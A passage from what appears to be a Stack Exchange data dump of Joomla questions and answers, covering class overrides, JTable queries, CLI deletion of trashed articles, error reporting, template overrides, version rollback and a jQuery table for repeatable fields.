&lt;p&gt;[Joomla_Libraries_PATH]/joomla/input/input.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line 91: $this-&gt;filter = JFilterInput::getInstance();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this ordering for registering Joomla Core and Custom classes?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use last version of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2020-12-14T23:06:25.613" Title="Change priority of loading Joomla core class and custom core class overrides" Tags="|joomla-3.x|overrides|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10861" PostTypeId="2" ParentId="9611" CreationDate="2015-07-19T16:37:08.330" Score="0" Body="&lt;p&gt;For automatic and controlled rendering of less in joomla try out &#xA;the jprooless library if you are an developer/template-designer. You can configure it, also you are able to force the rendering on each page-load(for development/testing is usfull).    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Administrators with lesser knowledge about php coding and joomla internals use the pkg_jproofless*. is written in top of the library&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.jproof.de/projects/joomla-library-jproof-less/wiki&quot; rel=&quot;nofollow&quot;&gt;http://wiki.jproof.de/projects/joomla-library-jproof-less/wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that helps &lt;/p&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2015-07-19T16:37:08.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10862" PostTypeId="2" ParentId="10860" CreationDate="2015-07-19T17:36:14.167" Score="0" Body="&lt;p&gt;There is no way to change it, because it is load during load the cms/application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the &quot;PlgSystem**&quot; will be load, you will be able to make the overrides such as dongilbert discribed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you can give an example what do want to do concrete?&lt;/p&gt;&#xA;" OwnerUserId="5594" LastEditorUserId="5594" LastEditDate="2015-07-19T18:11:55.840" LastActivityDate="2015-07-19T18:11:55.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10864" PostTypeId="2" ParentId="10855" CreationDate="2015-07-19T18:59:58.080" Score="2" Body="&lt;p&gt;Based on Bakual answer i came up with this code. This will only search for 'component' and 'template' type extensions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$fields = array(&#xA;    $db-&amp;gt;quoteName('extension_id'),&#xA;    $db-&amp;gt;quoteName('manifest_cache')&#xA;);&#xA;&#xA;$query-&amp;gt;select($fields)-&amp;gt;from($db-&amp;gt;quoteName('#__extensions'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$vendors = $db-&amp;gt;loadObjectList();&#xA;&#xA;$extensions = array();&#xA;&#xA;foreach($vendors as $vendor)&#xA;{&#xA;    $temp = new JRegistry;&#xA;    $temp-&amp;gt;loadString($vendor-&amp;gt;manifest_cache, 'JSON');&#xA;&#xA;    $excList = array('joomla'); //This array will contain a extension list&#xA;&#xA;    foreach($excList as $ext)&#xA;    {&#xA;        if ((stripos($temp-&amp;gt;get('author'), $ext) !== false) &amp;amp;&amp;amp; $temp-&amp;gt;get('type') == 'component' || (stripos($temp-&amp;gt;get('author'), $ext) !== false) &amp;amp;&amp;amp; $temp-&amp;gt;get('type') == 'template')&#xA;        {&#xA;            $extensions[] = array(&#xA;                'id'   =&amp;gt; $vendor-&amp;gt;extension_id,&#xA;                'type' =&amp;gt; $temp-&amp;gt;get('type'),&#xA;                'name' =&amp;gt; $temp-&amp;gt;get('name')&#xA;            );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;made a test with 'joomla' as vendor name and generates a array like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;[0] =&amp;gt; Array&#xA;    (&#xA;        [id] =&amp;gt; 1&#xA;        [type] =&amp;gt; component&#xA;        [name] =&amp;gt; com_mailto&#xA;    )&#xA;&#xA;[1] =&amp;gt; Array&#xA;    (&#xA;        [id] =&amp;gt; 2&#xA;        [type] =&amp;gt; component&#xA;        [name] =&amp;gt; com_wrapper&#xA;    )&#xA;&#xA;[2] =&amp;gt; Array&#xA;    (&#xA;        [id] =&amp;gt; 3&#xA;        [type] =&amp;gt; component&#xA;        [name] =&amp;gt; com_admin&#xA;    )&#xA;&#xA;...&#xA;&#xA;[29] =&amp;gt; Array&#xA;    (&#xA;        [id] =&amp;gt; 502&#xA;        [type] =&amp;gt; template&#xA;        [name] =&amp;gt; bluestork&#xA;    )&#xA;&#xA;[30] =&amp;gt; Array&#xA;    (&#xA;        [id] =&amp;gt; 10067&#xA;        [type] =&amp;gt; component&#xA;        [name] =&amp;gt; com_joomlaupdate&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-07-19T18:59:58.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10865" PostTypeId="1" CreationDate="2015-07-20T12:31:27.967" Score="0" ViewCount="677" Body="&lt;p&gt;I have written an override for the core Joomla User Registration and put it into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/protostar/html/com_users/registration/forms/registration.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For external API reasons I have had to split the Name into two fields - First Name and Last Name. I have edited the 'Name' field to show as 'First Name' and created a new field for 'Last Name' field as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;        name=&quot;name&quot;&#xA;        type=&quot;text&quot;&#xA;        description=&quot;Please enter your first name&quot;&#xA;        filter=&quot;string&quot;&#xA;        label=&quot;First Name&quot;&#xA;        required=&quot;true&quot;&#xA;        size=&quot;30&quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&quot;LastName&quot;&#xA;        type=&quot;text&quot;&#xA;        description=&quot;Please enter your last name&quot;&#xA;        filter=&quot;string&quot;&#xA;        label=&quot;Last Name&quot;&#xA;        required=&quot;true&quot;&#xA;        size=&quot;30&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great in the front end, however when the user is created it is only showing the First Name in the Name field, how can I get the Last Name to be pushed through to the Name data field aswell?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-07-22T12:23:34.450" LastActivityDate="2015-07-22T18:35:30.383" Title="Combine custom First Name field and Last Name field into 'Name' in Users table" Tags="|joomla-3.3.x|user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostTypeId="1" AcceptedAnswerId="10867" CreationDate="2015-07-20T13:40:10.127" Score="1" ViewCount="375" Body="&lt;p&gt;I would like to delete some items with state &quot;trashed&quot; via CLI. Is it possible to call the delete-method of JTable from CLI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help :-)&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2019-09-04T21:41:31.907" Title="Delete items of database via CLI" Tags="|php|database|jdatabase|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10867" PostTypeId="2" ParentId="10866" CreationDate="2015-07-20T13:56:08.297" Score="4" Body="&lt;p&gt;It's been awhile since I've done this, but as I recall putting this within doExecute should do what you want.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;require_once $basePath.'/models/article.php';&#xA;$artmodel = new ContentModelArticle(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;&#xA;$db = JFactory::getDbo();&#xA;$q = &quot;SELECT * FROM #__content WHERE `state` = '-2'&quot;;&#xA;$db-&amp;gt;setQuery($q);&#xA;if( $rows = $db-&amp;gt;loadObjectList() ) {&#xA;    foreach($rows as $row){&#xA;        $this-&amp;gt;out('Removing '.$row-&amp;gt;title);&#xA;        $result = $artmodel-&amp;gt;delete($row-&amp;gt;id);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case, you're deleting items that are already trashed (state=-2), but for the record, this code won't work unless that's the case.  To delete a record that is NOT trashed, you have to trash it first, using the &lt;code&gt;-&amp;gt;save&lt;/code&gt; method prior to the &lt;code&gt;-&amp;gt;delete&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array('id' =&amp;gt; $row-&amp;gt;id,'state'=&amp;gt;'-2');&#xA;$result = $artmodel-&amp;gt;save($data);&#xA;$result = $artmodel-&amp;gt;delete($row-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="12352" LastEditDate="2019-09-04T21:41:31.907" LastActivityDate="2019-09-04T21:41:31.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10868" PostTypeId="1" CreationDate="2015-07-20T13:57:03.927" Score="1" ViewCount="718" Body="&lt;p&gt;I'm trying to load a specific row from my database table with JTable.&#xA;In my case i have 3 fields which is unique. In most cases, two of these fields will be a null value, while one will always have a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how i try to retrieve the row&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable(&quot;table&quot;);&#xA;$table-load(['field1' =&amp;gt;'something', 'field2' =&amp;gt; null, 'field3' =&amp;gt; null]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Through debugging i found out that joomla creates a query like &lt;strong&gt;&lt;code&gt;field1&lt;/code&gt; = 'something' AND &lt;code&gt;field2&lt;/code&gt; = '' AND &lt;code&gt;field3&lt;/code&gt; = ''&lt;/strong&gt; which the fails to find the row with the null values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workaround still using JTable, or do i have to use the database without JTable in this situation. I've read some places that they don't take a null value to consideration when querying, but still hope there is a solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;br&gt;&#xA;Here's a pastebin link of how the table look &lt;a href=&quot;http://pastebin.com/TkKRG7FV&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/TkKRG7FV&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5598" LastEditorUserId="5598" LastEditDate="2015-07-22T07:53:49.850" LastActivityDate="2015-11-29T20:07:06.800" Title="Load from JTable with some null values" Tags="|joomla-3.x|jtable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10870" PostTypeId="2" ParentId="10851" CreationDate="2015-07-20T18:19:30.750" Score="0" Body="&lt;p&gt;As Anibal suggests, please enable error reporting. That will probably give you (or us) an idea of what's going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to enable error reporting:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla configuration:&lt;/strong&gt; Go to System -&gt; Global Configuration -&gt; Server tab -&gt; Set error reporting to &lt;em&gt;Development&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;php.ini:&lt;/strong&gt; You can set PHP error reporting on in &lt;strong&gt;php.ini&lt;/strong&gt; file (in case you have access to this file). Set the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting  =  E_ALL&#xA;display_errors = On&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;.htaccess:&lt;/strong&gt; You can also enable error reporting by editing your &lt;code&gt;.htaccess&lt;/code&gt; file and adding these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_flag display_errors on&#xA;php_value error_reporting 6143&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can also try installing the template manually by extracting the .zip-file in &lt;code&gt;\templates\rt_osmosis&lt;/code&gt;, and then use the Discover function in Joomla to install it (&lt;strong&gt;Extensions -&gt; Extension manager -&gt; Discover&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have the Gantry Framework installed too, as the template requires it unless you're installing the Framework+Template bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend you try to find out &lt;em&gt;why&lt;/em&gt; this happens by enabling error reporting, as you're likely to run into similar problems when installing other extensions.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-20T18:19:30.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10871" PostTypeId="2" ParentId="10868" CreationDate="2015-07-20T18:23:53.910" Score="1" Body="&lt;p&gt;May need some more detail on the db structure here. For example, if I understand you correctly that you have defined three fields in the db as 'must be unique,' any database that correctly follows the SQL specification will not let you put a null in any of those fields. (Some dbs allow it, but I'm not sure I'd depend upon that condition to continue.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be useful to see the SQL that created the db table you're working with for this to help me get my mind around what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-07-20T18:23:53.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10872" PostTypeId="1" CreationDate="2015-07-20T20:53:43.607" Score="0" ViewCount="126" Body="&lt;p&gt;To confirm, I need to edit the side menu without changing the main menu style... but do not know where I can do so - or do I need to create a new class (I made a new class in the module itself, then styled it in template but it won't change the line-height, I was only able to set the font size for some reason)&#xA;&lt;a href=&quot;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=45&amp;amp;Itemid=132&quot; rel=&quot;nofollow&quot;&gt;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=45&amp;amp;Itemid=132&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5395" LastEditorUserId="5395" LastEditDate="2015-07-20T21:22:33.160" LastActivityDate="2015-07-21T04:02:08.770" Title="Styling secondary (side) menu in Joomla 3" Tags="|joomla-3.x|menu|submenu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10873" PostTypeId="1" CreationDate="2015-07-20T21:28:09.253" Score="1" ViewCount="584" Body="&lt;p&gt;I would like to solve this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some Fields in my Form. Some are Combo-Boxes, Radio Buttons, Text-Inputs and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to do the following: If Radio-Button 1 has value 1, text-input shall appear (works with showon) and if it appears it should be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not shown it should not be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-24T21:01:24.590" Title="Let JForm-Fields be dependent on eachother" Tags="|php|jform|form|form-fields-types|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostTypeId="2" ParentId="10872" CreationDate="2015-07-21T04:02:08.770" Score="1" Body="&lt;p&gt;You're almost there... by adding a &lt;code&gt;left-menu&lt;/code&gt; class to your module as you've done you can target any element inside the module with this selector, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.left-menu p {&#xA;  /* styles apply to paragraphs inside your module only */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason why your &lt;code&gt;line-height&lt;/code&gt; style isn't working is because you have to apply it to your &lt;em&gt;list items&lt;/em&gt;, not the entire div. This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.left-menu li {&#xA;  line-height: 155%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-21T04:02:08.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10878" PostTypeId="1" CreationDate="2015-07-21T09:37:57.217" Score="0" ViewCount="2370" Body="&lt;p&gt;Why does &lt;code&gt;JPATH_COMPONENT&lt;/code&gt; contain administrator in the administrator controller of my component? (situated in administrator/components/com_mycomponent/controller.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't really make sense.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-07-21T10:03:57.547" Title="JPATH_COMPONENT contains administrator" Tags="|component|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostTypeId="2" ParentId="10878" CreationDate="2015-07-21T09:41:52.600" Score="2" Body="&lt;p&gt;The &lt;code&gt;JPATH_COMPONENT&lt;/code&gt; constant returns the path of the component &lt;strong&gt;currently being executed&lt;/strong&gt;. Therefore if you call this constant from the admin part of your component, it will return the path with &lt;code&gt;administrator&lt;/code&gt; in the name.&lt;/p&gt;&#xA;&lt;p&gt;Have a look at the Joomla Constants Documentation for more detail:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Constants&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;JPATH_COMPONENT&lt;/code&gt; is the generic constant for the component being executed, however please bare in mind that there are also the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JPATH_COMPONENT_SITE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These come in handy if you want to call something from your backend component in the frontend and vise versa.&lt;/p&gt;&#xA;&lt;p&gt;For example, lets say you had a form in the frontend, and once submitted, you needed to call a helper file locations in the admin component directory, you would use &lt;code&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-21T10:03:57.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostTypeId="1" CreationDate="2015-07-21T11:04:08.887" Score="4" ViewCount="4901" Body="&lt;p&gt;I am using Articles - Categories module in my Joomla website (my custom template) and it works great, meaning that it lists all articles with intro text from the categories I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does not show the &lt;strong&gt;intro-image&lt;/strong&gt; of these articles although I defined them in each article &quot;&lt;strong&gt;Image and links&lt;/strong&gt;&quot; tab. Is there a way to show intro images? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that I need to do some template overriding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nolimitsbl.com/teimc/index.php/l&quot; rel=&quot;noreferrer&quot;&gt;http://nolimitsbl.com/teimc/index.php/l&lt;/a&gt; ... tovarivaci&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to mention that bold black titles are categories titles and bellow them are listed articles with intro texts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5604" LastEditorUserId="126" LastEditDate="2015-08-21T11:09:53.893" LastActivityDate="2016-06-17T17:48:36.860" Title="How to add article image to module mod_article_categories?" Tags="|module|articles|template-override|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10881" PostTypeId="2" ParentId="10431" CreationDate="2015-07-21T11:30:16.093" Score="1" Body="&lt;p&gt;There is also a Smart Search - K2 plugin, do you have it enabled?&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-07-21T11:30:16.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostTypeId="2" ParentId="9335" CreationDate="2015-07-21T11:57:22.933" Score="0" Body="&lt;p&gt;If you have cache enabled, try to disable it and clean the cache..&#xA;If it solves the problem use File cache instead.&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-07-21T11:57:22.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10883" PostTypeId="2" ParentId="10139" CreationDate="2015-07-21T12:00:39.500" Score="0" Body="&lt;p&gt;Song menu item must be a Category Blog or a Category List, otherwise it won't go back to the article you come from..&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-07-21T12:00:39.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10884" PostTypeId="2" ParentId="10880" CreationDate="2015-07-21T12:45:06.837" Score="3" Body="&lt;p&gt;Yep, I would also do the template override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fetch the file &lt;code&gt;components/com_content/views/categories/tmpl/default_items.php&lt;/code&gt; and copy it to &lt;code&gt;&amp;lt;your_template&amp;gt;/html/com_content/categories/default_items.php&lt;/code&gt;. (I am not totally sure about the correct name, see the Joomla docs about this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can edit it. In the file &lt;code&gt;components/com_content/views/category/tmpl/blog_item.php&lt;/code&gt; I found &lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&lt;/code&gt;, this could perhaps make the deal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice big machines, BTW. :)&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-07-21T12:45:06.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostTypeId="2" ParentId="10139" CreationDate="2015-07-21T14:09:22.927" Score="2" Body="&lt;p&gt;Your breadcrumbs reflect the &lt;strong&gt;content structure&lt;/strong&gt; of your site. It sounds like your articles (songs) are in a category called 'Song' so your breadcrumbs reflect that content hierarchy, not the menu structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla &lt;em&gt;has to do this&lt;/em&gt; because your songs are not children (in the menu structure) of the menu item 'Song', so Joomla shows the category parent in the breadcrumb instead. It &lt;em&gt;is a coherent path&lt;/em&gt;, it's just not the one you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to fix this by creating a menu item, for each song, that is a child of the 'Song' menu item.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-21T14:09:22.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10887" PostTypeId="2" ParentId="9335" CreationDate="2015-07-21T14:47:34.003" Score="-5" Body="&lt;p&gt;Shared Hosting are usually faster than VPS hosting.. Anyway to fix temporairly your proble, just move the joomla installation to a subdirectory instead of the root folder. This works I can't explain why but works.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-07-21T14:47:34.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10888" PostTypeId="1" AcceptedAnswerId="10889" CreationDate="2015-07-21T15:27:56.320" Score="5" ViewCount="7961" Body="&lt;p&gt;Is is possible to downgrade Joomla versions, for example from version 3.4.3 to 3.4.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know restoring from a backup is the easiest and most efficient way, however is there an alternative? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ran into a few issues since upgrading to Joomla 3.4.3 and I would like to 'rollback' just to rule out any possible conflicts etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having read a few tutorials online there doesn't seem to be any clear instructions, they all differ. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded a clean installation of Joomla 3.4.1 and set it up locally on xampp - not sure where to go from here. Do I simply copy the 3.4.3 files into the root directory or does the db need to change? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what about my modules/plugins/components/template..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-07-21T22:25:03.533" Title="Downgrade (rollback) Joomla Versions" Tags="|joomla-3.x|upgrade|administration|versions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10889" PostTypeId="2" ParentId="10888" CreationDate="2015-07-21T15:40:11.447" Score="4" Body="&lt;h2&gt;Quick Dirty Method:&lt;/h2&gt;&#xA;&lt;p&gt;Take a backup of your Joomla 3.4.3 site and set it up on your localhost. Once done, download the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.4.1/Joomla_3.4.1-Stable-Update_Package.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.4.1 Update Package&lt;/a&gt; and extract it in the root directory. Don't worry about Database changes as there haven't been any since 3.4.0.&lt;/p&gt;&#xA;&lt;h2&gt;Long method:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install a fresh copy of &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.4.1/Joomla_3.4.1-Stable-Full_Package.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.4.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Re-download and install all 3rd party extensions&lt;/li&gt;&#xA;&lt;li&gt;Import the database from your Joomla 3.4.3 site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Notes&lt;/h3&gt;&#xA;&lt;p&gt;Joomla has not really need designed to be rolled back, therefore with the above, I can't guarantee there won't be any issues but it's these are the only methods I know of.&lt;/p&gt;&#xA;&lt;p&gt;Personally, I would refrain from rolling back and try the figure out the issues you're having with your 3.4.3 site.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-21T22:25:03.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10891" PostTypeId="1" AcceptedAnswerId="10892" CreationDate="2015-07-21T23:25:20.743" Score="2" ViewCount="170" Body="&lt;p&gt;I would like to see the values in my repeatable field before opening it in the modal. Directly under the button that opens the modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once I open it and made changes these changes should also reflect immediately in the table.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2015-08-24T20:53:30.767" Title="How to create a table with the repeatable field values directly under the button that opens the modal?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10892" PostTypeId="2" ParentId="10891" CreationDate="2015-07-21T23:25:20.743" Score="2" Body="&lt;p&gt;Well to do this you will need to add the following code to the footer of your edit.php file in the view folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('input.form-field-repeatable').on('weready', function(e, value){&#xA;    jQuery('.save-modal-data').text('Done');&#xA;}).on('value-update', function(e, value){&#xA;    if (value)&#xA;    {&#xA;        buildTable(value,e.currentTarget.id);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following JavaScript can be added to any JavaScript file that is also loaded on this page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function buildTable(array,id){&#xA;    jQuery('#table_'+id).remove();&#xA;    jQuery('#'+id).closest('.control-group').append('&amp;lt;table style=&quot;margin: 5px 0 20px;&quot; class=&quot;table&quot; id=&quot;table_'+id+'&quot;&amp;gt;');&#xA;    jQuery('#table_'+id).append(tableHeader(array));&#xA;    jQuery('#table_'+id).append(tableBody(array));  &#xA;    jQuery('#table_'+id).append('&amp;lt;/table&amp;gt;');&#xA;}&#xA;&#xA;function tableHeader(array)&#xA;{&#xA;  var header = '&amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;';&#xA;    jQuery.each(array, function(key, value) {&#xA;         header += '&amp;lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;'+capitalizeFirstLetter(key)+'&amp;lt;/th&amp;gt;';&#xA;    });&#xA;    header += '&amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt;';&#xA;  return header;&#xA;}&#xA;&#xA;function tableBody(array)&#xA;{&#xA;    var body = '&amp;lt;tbody&amp;gt;';&#xA;    var rows = new Array();&#xA;    jQuery.each(array, function(key, value) {&#xA;        jQuery.each(value, function(i, line) {&#xA;      if( rows[i] === undefined ) {&#xA;        rows[i] = '&amp;lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;' + line + '&amp;lt;/td&amp;gt;';&#xA;      }&#xA;      else&#xA;      {&#xA;        rows[i] = rows[i] + '&amp;lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;' + line + '&amp;lt;/td&amp;gt;';&#xA;      }&#xA;        });&#xA;    });&#xA;  // now load to body the 